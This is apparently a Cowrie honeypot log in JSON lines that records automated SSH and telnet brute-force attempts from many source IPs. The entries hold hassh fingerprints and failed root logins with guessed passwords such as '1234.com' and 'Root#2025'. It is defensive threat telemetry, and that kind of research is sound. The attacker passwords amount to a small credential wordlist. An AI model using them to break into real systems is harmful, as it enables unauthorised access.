{"eventid":"cowrie.session.connect","src_ip":"154.83.13.181","src_port":48594,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf48a746fcdd","protocol":"ssh","message":"New connection: 154.83.13.181:48594 (159.203.135.109:22) [session: bf48a746fcdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:48.304727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:48.309365Z","src_ip":"154.83.13.181","session":"bf48a746fcdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":44266,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9fe27d5ed6e","protocol":"ssh","message":"New connection: 43.153.54.120:44266 (10.17.0.5:22) [session: e9fe27d5ed6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:53.280378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:53.285020Z","src_ip":"43.153.54.120","session":"e9fe27d5ed6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:53.352128Z","src_ip":"43.153.54.120","session":"e9fe27d5ed6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:53.518572Z","src_ip":"154.83.13.181","session":"bf48a746fcdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234.com","message":"login attempt [root/1234.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:53.658527Z","src_ip":"43.153.54.120","session":"e9fe27d5ed6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hallo123","message":"login attempt [root/hallo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:54.133545Z","src_ip":"154.83.13.181","session":"bf48a746fcdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:54.729243Z","src_ip":"43.153.54.120","session":"e9fe27d5ed6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:56.001419Z","src_ip":"154.83.13.181","session":"bf48a746fcdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.169.93","src_port":38428,"dst_ip":"159.203.135.109","dst_port":22,"session":"db7f9a22c1ce","protocol":"ssh","message":"New connection: 43.159.169.93:38428 (159.203.135.109:22) [session: db7f9a22c1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:00.959220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:00.965016Z","src_ip":"43.159.169.93","session":"db7f9a22c1ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:01.032661Z","src_ip":"43.159.169.93","session":"db7f9a22c1ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aurora","password":"aurora","message":"login attempt [aurora/aurora] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:01.339583Z","src_ip":"43.159.169.93","session":"db7f9a22c1ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:02.419545Z","src_ip":"43.159.169.93","session":"db7f9a22c1ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50922,"dst_ip":"10.17.0.5","dst_port":23,"session":"7571276642e8","protocol":"telnet","message":"New connection: 152.42.224.71:50922 (10.17.0.5:23) [session: 7571276642e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:15.153813Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.193.106.227","src_port":57918,"dst_ip":"10.17.0.5","dst_port":22,"session":"1843ab034c72","protocol":"ssh","message":"New connection: 62.193.106.227:57918 (10.17.0.5:22) [session: 1843ab034c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:17.784831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:17.790234Z","src_ip":"62.193.106.227","session":"1843ab034c72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:17.946523Z","src_ip":"62.193.106.227","session":"1843ab034c72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password#1234","message":"login attempt [root/password#1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:18.565454Z","src_ip":"62.193.106.227","session":"1843ab034c72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:19.715624Z","src_ip":"62.193.106.227","session":"1843ab034c72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55228,"dst_ip":"10.17.0.5","dst_port":23,"session":"783b62e6fc63","protocol":"telnet","message":"New connection: 152.42.224.71:55228 (10.17.0.5:23) [session: 783b62e6fc63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:30.429545Z"}
{"eventid":"cowrie.session.closed","duration":50.47025752067566,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:35.186685Z","src_ip":"152.42.224.71","session":"df11db00746c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":2518,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0e190e061ae","protocol":"ssh","message":"New connection: 181.0.214.136:2518 (10.17.0.5:22) [session: b0e190e061ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:42.638229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:42.644047Z","src_ip":"181.0.214.136","session":"b0e190e061ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:42.815576Z","src_ip":"181.0.214.136","session":"b0e190e061ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apples123","message":"login attempt [root/apples123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:43.521546Z","src_ip":"181.0.214.136","session":"b0e190e061ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:44.702411Z","src_ip":"181.0.214.136","session":"b0e190e061ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":35096,"dst_ip":"159.203.135.109","dst_port":22,"session":"e87487189f99","protocol":"ssh","message":"New connection: 59.17.95.129:35096 (159.203.135.109:22) [session: e87487189f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:48.271978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:48.279232Z","src_ip":"59.17.95.129","session":"e87487189f99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:48.485287Z","src_ip":"59.17.95.129","session":"e87487189f99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Arpit@123","message":"login attempt [root/Arpit@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:49.343872Z","src_ip":"59.17.95.129","session":"e87487189f99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.111.187","src_port":54800,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba4927a68672","protocol":"ssh","message":"New connection: 43.128.111.187:54800 (159.203.135.109:22) [session: ba4927a68672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:49.446987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:49.452305Z","src_ip":"43.128.111.187","session":"ba4927a68672","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:49.689096Z","src_ip":"43.128.111.187","session":"ba4927a68672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:50.553026Z","src_ip":"59.17.95.129","session":"e87487189f99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root#2025","message":"login attempt [root/Root#2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:50.668655Z","src_ip":"43.128.111.187","session":"ba4927a68672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:50:51.911833Z","src_ip":"43.128.111.187","session":"ba4927a68672","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.35.21","src_port":59954,"dst_ip":"10.17.0.5","dst_port":22,"session":"21d9ec936f2a","protocol":"ssh","message":"New connection: 43.159.35.21:59954 (10.17.0.5:22) [session: 21d9ec936f2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:03.238974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:03.251272Z","src_ip":"43.159.35.21","session":"21d9ec936f2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:03.482921Z","src_ip":"43.159.35.21","session":"21d9ec936f2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZXSW23EDC","message":"login attempt [root/1QAZXSW23EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:04.438429Z","src_ip":"43.159.35.21","session":"21d9ec936f2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":58668,"dst_ip":"10.17.0.5","dst_port":22,"session":"efb2aee220a4","protocol":"ssh","message":"New connection: 43.153.54.120:58668 (10.17.0.5:22) [session: efb2aee220a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:05.292518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:05.297566Z","src_ip":"43.153.54.120","session":"efb2aee220a4","protocol":"ssh"}
